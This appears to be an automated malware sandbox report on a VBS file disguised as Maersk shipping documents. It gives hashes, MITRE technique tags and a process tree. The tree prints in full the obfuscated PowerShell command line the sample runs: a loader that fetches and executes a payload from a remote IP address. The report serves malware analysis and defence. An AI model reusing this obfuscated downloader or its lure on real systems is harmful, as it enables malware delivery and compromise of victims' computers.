75d85dcb3600c097923b6a09fa7fe8ada9bed04b6185dcdcb69edbb3e6b66f2f

General

Target

Maersk_Shipping_Documents_pdf.vbs
Size

187KB
MD5

30df38b128734333083f7ca438c9c6ee
SHA1

cddda08ce291f6adf67f1bb1a7647ebc5b087296
SHA256

75d85dcb3600c097923b6a09fa7fe8ada9bed04b6185dcdcb69edbb3e6b66f2f
SHA512

639c55bf19eab352fed3ea425e1f3dc6317a50c1c72bf9f995514892863420894911a6e01d1170d94000dfb87f14a59378db92d37c5c915b19844652c6b88d6a
SSDEEP

3072:rmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZO:r08GxbKja3+DCbKCvBB/WnHXC/sLJFJl

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
12	2392	powershell.exe
17	2392	powershell.exe
18	2392	powershell.exe
19	2392	powershell.exe
20	2392	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2392	powershell.exe
2392	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2392	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 2444 wrote to memory of 2392	2444	WScript.exe	82
PID 2444 wrote to memory of 2392	2444	WScript.exe	82
PID 2392 wrote to memory of 3600	2392	powershell.exe	84
PID 2392 wrote to memory of 3600	2392	powershell.exe	84

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Maersk_Shipping_Documents_pdf.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2444
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Fagt Pilke Lehnas Unspiral Poesiforladtes Deterging Bathylite Usbekistan Wocheinite123 Dobbeltradedes Conditioner Bremsningens undieted Gravicembalo Udstykningskontrollen Latterbrlets Cycloids Skolerytteren slemmeste udstrningens Jockeyernes Farvepragts Slappelses Boabhan Fagt Pilke Lehnas Unspiral Poesiforladtes Deterging Bathylite Usbekistan Wocheinite123 Dobbeltradedes Conditioner Bremsningens undieted Gravicembalo Udstykningskontrollen Latterbrlets Cycloids Skolerytteren slemmeste udstrningens Jockeyernes Farvepragts Slappelses Boabhan';$Flsket178 = 1;Function Selvskyldnerkautioners($Leucetta){$Lbningens=$Leucetta.Length-$Flsket178;$Befolkningstallenes='SUBSTRIN';$Befolkningstallenes+='G';For( $Acidulousness=1;$Acidulousness -lt $Lbningens;$Acidulousness+=2){$Fagt+=$Leucetta.$Befolkningstallenes.Invoke( $Acidulousness, $Flsket178);}$Fagt;}function Udkigget($reactivation){ & ($Uncaging) ($reactivation);}$Vejrer=Selvskyldnerkautioners ' M.o zEiTlJl.aR/ 5..K0 (ZW,iPn d o w.s N,T. .1 0,.k0R;D ,W.iFn 6 4f; xB6K4B; Pr v : 1 2 1 ..0,) NG eAc k oD/O2 0G1 0 0,1K0P1 IF,iCrCeRfKoDx./ 1S2T1B. 0A ';$Antimilitarist=Selvskyldnerkautioners ' U,sSe r -,ASgUeCn.tI ';$Poesiforladtes=Selvskyldnerkautioners 'GhPtktFpM: /D/ 1 0 3S. 1 9C5 . 2K3m7 .m4F3T/ GFeRb.i sSsTearFsK8N7 ..mFiRxU ';$Svrters68=Selvskyldnerkautioners 'A>. ';$Uncaging=Selvskyldnerkautioners '.iUeCxU ';$Kanjas='Usbekistan';$Overhrer = Selvskyldnerkautioners ' eOc h oS O%FaRp,pAdSaDt a %u\PM yOr,iIo,p hOy lUlNo.uPs,.rC h eT ,&S& Se cRhUo t ';Udkigget (Selvskyldnerkautioners '.$ g l,oSbHa lA:RcNy.t,o p.hNyRs iPoMl oBg y =,(Fc mAd, /.cA K$AOUv e rFh.rAe.r,) ');Udkigget (Selvskyldnerkautioners 'B$mgFl,o bpaFl :TUMnasJpPi r a lU=O$,P ose sai.fPo,rAlEa.d,t e,s,. sLprlAi.tP( $BSRvMr,tCe r.s 6A8 ) ');Udkigget (Selvskyldnerkautioners 'V[RN,e.t .ASUeArAvEiPc eoP oUiTnFtDMSaNnSa,g e,r.] : :.S,e cTu rvi.tUyOP rAo tBoUcPo l, =H .[ N.eCtP.ESSe ckuSrLi tKy,P rUoPtKo csoVl T,yVp eM].:.:KT.lSs,1 2T ');$Poesiforladtes=$Unspiral[0];$Lamprey= (Selvskyldnerkautioners 'R$,gOlFo bUa lS:SD r o nGi sShMn e s sA=BN.e.w -IOVbTj.eIcTt. CSOy,s t eCmb. NMeWt .PWAe,b.C l iPeDn t');$Lamprey+=$cytophysiology[1];Udkigget ($Lamprey);Udkigget (Selvskyldnerkautioners ' $ DUr.o nPiPs hUn eUs s .DHAeOa,d,eTr sD[ $VAPnTt i mBiUlKiWtMaSr i.s tS]S=p$ V eSj rBe rG ');$Debatterende=Selvskyldnerkautioners ' $ADhr oEnNiGsOhBnOeCs,sR. DKo,wtnBlUo aTdAF iBlBeT(C$aP oFe sSi,ftoHr lUa.d,tSeSs.,,$FF aSrNvhe.pDr a.g,t,se), ';$Farvepragts=$cytophysiology[0];Udkigget (Selvskyldnerkautioners '.$Cg.lKo bSaVl.:,Lye vae b r d e t,= (JT eGs tZ-NPKa.t,hD E$PFSa.rRvRe p.r a g tBsC)D ');while (!$Levebrdet) {Udkigget (Selvskyldnerkautioners '.$,gUl,oPb,aRls:,A n,nPl i,l.=.$ tPr.u.eS ') ;Udkigget $Debatterende;Udkigget (Selvskyldnerkautioners 'DS tHa,r,t,- S l e e pK I4 ');Udkigget (Selvskyldnerkautioners ',$ g,l.oeb.aFl,:KL eavSeFbfr d e tH= ( TMeAsDtD-CP aUt h, ,$.FTa rMv.e.pUr aTg tNsB)L ') ;Udkigget (Selvskyldnerkautioners ' $PgMlUoGbUa,lC: LSe h.n aSsF=K$ogKl.oQbBa lP:,P i.l.kIeN+U+n% $ UsnOsbp idrVaTlF.,cSoSuIn t ') ;$Poesiforladtes=$Unspiral[$Lehnas];}$Stepdansernes=375979;$Seraya=25461;Udkigget (Selvskyldnerkautioners 'B$Vg lCoPb.a,lT:CWBoEc,h,eTi.n.i t.eP1 2C3O =C wG.e,tB-CC o,n tSefn tT F$PF a r vPeFpFrNa g tfsB ');Udkigget (Selvskyldnerkautioners ',$ g l,o bRaNl :NROe t i s t.e nke F=H .[,SfyUs tde.m . C oBn vSeSr tO] :a:CF r oAmLBRaPs eC6P4 Sit rBiTn.gP(E$AWpoFcAh,e i n i tOe 1.2 3 ), ');Udkigget (Selvskyldnerkautioners '.$ gKl oSb a.lU:SB.rSeKmPsFnHi nBg e.nUs =S .[.S.y s tTe.m..HTGeKxStA. E nScAoVd i.n g ],:C:DAFS,CDICIN..G,e t,S tUrUiUn,gS(.$RRBeFtSiFsFt e.nTeG)d ');Udkigget (Selvskyldnerkautioners 'D$.g lCo,bRaUlL:sp.rBe.j,uKdCgPm eTnMtDs.=.$ B,rKe m s n,iBnHgNePn,s .,sGu b sStWrOiSnSg (D$.S.t eIp,d aSnUs e rUnHeUsL,.$ S.eDrUaTy.a,)B ');Udkigget $prejudgments;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2392
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Myriophyllous.Che && echo t"
    3⤵
    PID:3600

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xyyn2yef.kw4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2392-0-0x00007FFC0A8C3000-0x00007FFC0A8C5000-memory.dmp

Filesize
8KB

Download
memory/2392-1-0x0000017EF71F0000-0x0000017EF7212000-memory.dmp

Filesize
136KB

Download
memory/2392-11-0x00007FFC0A8C0000-0x00007FFC0B381000-memory.dmp

Filesize
10.8MB

Download
memory/2392-12-0x00007FFC0A8C0000-0x00007FFC0B381000-memory.dmp

Filesize
10.8MB

Download
memory/2392-13-0x00007FFC0A8C3000-0x00007FFC0A8C5000-memory.dmp

Filesize
8KB

Download
memory/2392-14-0x00007FFC0A8C0000-0x00007FFC0B381000-memory.dmp

Filesize
10.8MB

Download
memory/2392-15-0x00007FFC0A8C0000-0x00007FFC0B381000-memory.dmp

Filesize
10.8MB

Download
memory/2392-16-0x00007FFC0A8C0000-0x00007FFC0B381000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing